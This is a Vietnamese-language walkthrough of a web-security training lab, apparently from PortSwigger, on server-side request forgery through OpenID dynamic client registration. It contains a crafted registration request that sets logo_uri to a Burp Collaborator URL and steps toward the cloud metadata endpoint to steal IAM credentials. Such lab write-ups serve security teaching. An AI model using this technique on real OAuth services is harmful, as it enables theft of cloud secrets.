Lab: SSRF via OpenID dynamic client registration

Mô tả

Phòng thí nghiệm này cho phép các ứng dụng khách hàng tự đăng ký động với dịch vụ OAuth thông qua endpoint đăng ký chuyên dụng. Một số dữ liệu cụ thể của khách hàng được dịch vụ OAuth sử dụng theo cách không an toàn, điều này làm lộ ra một vectơ tiềm ẩn cho SSRF.

Mục tiêu: Tạo một cuộc tấn công SSRF để truy cập http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/và đánh cắp secret access key của OAuth provider's cloud.

Bạn có thể đăng nhập vào tài khoản của mình bằng thông tin đăng nhập sau:wiener:peter

Giải pháp

Đăng nhấp, tìm địa chỉ OAUTH-SERVER

https://oauth-0a2f002a04c169dd80de2907025400f0.oauth-server.net/.well-known/openid-configuration
client registration endpoint is located at /reg

Trong Burp Repeater, tạo POST request để đăng ký client application giả mạo với OAuth service.

Kiểm tra luông OAuth và lưu ý rằng trang người dùng đồng ý "Authorize" hiển thị logo của client app. Điều này được lấy từ /client/CLIENT-ID/logo .

Các ứng dụng khách có thể cung cấp URL cho logo của họ bằng cách sử dụng logo_urithuộc tính trong quá trình đăng ký động.

Trong Repeater, quay lại POST /reg đã tạo trước đó. Thêm logo_urithuộc tính. Nhấp chuột phải và chọn "Insert Collaborator payload" để dán URL Collaborator làm giá trị của nó. Yêu cầu cuối cùng sẽ trông giống như thế này:

POST /reg HTTP/1.1
Host: oauth-YOUR-OAUTH-SERVER.oauth-server.net
Content-Type: application/json

{
    "redirect_uris" : [
        "https://example.com"
    ],
    "logo_uri" : "https://BURP-COLLABORATOR-SUBDOMAIN"
}

Gửi yêu cầu đăng ký ứng dụng khách hàng mới và sao chép client_idtừ phản hồi.

Trong Repeater, hãy đi đến GET /client/CLIENT-ID/logo. Thay thế CLIENT-IDtrong đường dẫn bằng client_id mới mà vừa sao chép và gửi yêu cầu.

Đi đến hộp thoại tab Collaborator và kiểm tra bất kỳ tương tác mới nào. Lưu ý rằng có một tương tác HTTP đang cố gắng tìm nạp logo không tồn tại của bạn. Điều này xác nhận rằng có thể sử dụng thành công thuộc tính logo_uri để thu thập các yêu cầu từ máy chủ OAuth.

Thực hiện đăng ký lại với trỏ đến logo_uri URL mục tiêu

Last updated